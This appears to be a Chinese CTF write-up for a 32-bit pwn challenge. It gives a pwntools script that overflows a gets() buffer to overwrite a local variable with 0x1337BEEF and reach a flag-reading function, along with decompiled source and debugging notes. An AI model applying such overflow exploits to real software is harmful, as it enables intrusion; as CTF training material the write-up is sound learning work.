前言:激战时间是2025年10月4日15:00——16:30

Exploit
自己本地复现去吧。真是绝望啊,还以为是泄露canary值去绕过检查,结果别人就这样去溢出的。
exp:
1
2
3
4
5
6
7
8
9
|
from pwn import *
io =process("./pwn")
#io = remote...
context(log_level='debug',os='linux',arch='i386')
v5 = 0x1337BEEF
payload = cyclic(32) + p32(v5)
io.recvuntil("Enter a string: ")
io.sendline(payload)
io.interactive()
|
exploit的思路
牢,学了点新东西,别叫贴近实际。
附件: pwn.7z
GNU C 库(glibc)的动态链接库文件查询:
1
|
strings ./pwn | grep -i "glibc\|libc"
|

checksec:

32位程序,保护全开,不用说肯定是堆利用了…。
PWN程序部分源码:
main函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [esp+0h] [ebp-30h] BYREF
int v5; // [esp+20h] [ebp-10h]
unsigned int v6; // [esp+24h] [ebp-Ch]
int *p_argc; // [esp+28h] [ebp-8h]
p_argc = &argc;
v6 = __readgsdword(0x14u);
v5 = 0;
printf("Enter a string: ");
fflush(stdout);
gets(s);
if ( v5 == 0x1337BEEF )
{
read_flag();
}
else
{
printf("\nThe string \"%s\" is lame.\n", s);
fflush(stdout);
}
return 0;
}
|
read_flag函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
unsigned int read_flag()
{
FILE *stream; // [esp+4h] [ebp-44h]
char s[50]; // [esp+Ah] [ebp-3Eh] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
stream = fopen("flag.txt", "r");
if ( !stream )
{
printf("File Error: flag.txt does not exist.");
fflush(stdout);
exit(0);
}
fgets(s, 50, stream);
printf("Congratulations. Your string is not lame. Here you go: %s\n", s);
fflush(stdout);
return __readgsdword(0x14u) ^ v3;
}
|
大致思路是v5等于0x1337BEEF就行了,但不能靠栈溢出,因为开了canary,这里应该用堆溢出了。
做完才发现就是用栈溢出原理做的,太气人了…🤯
gdb调试看栈变化:

可以看到canary地址居然在v5地址之下,也就是说我们刻意栈溢出到v5,再溢出超过v5才会触发栈溢出保护。
那我们的payload就比较简单了,根据IDA分析的main函数可以知道:
1
2
|
v5 = 0x1337BEEF
payload = cyclic(32) + p32(v5)
|
完整exp在上面。
再出题人没有刻意动题的情况下,canary地址一直都是00整结尾的,稍加留意,也是一种技巧。实在不行你一个个变量溢出看看,可以发现你把v5覆盖后却能正常运行,超过v5却退出程序运行了,这点很明显是canary地址在v5地址之下。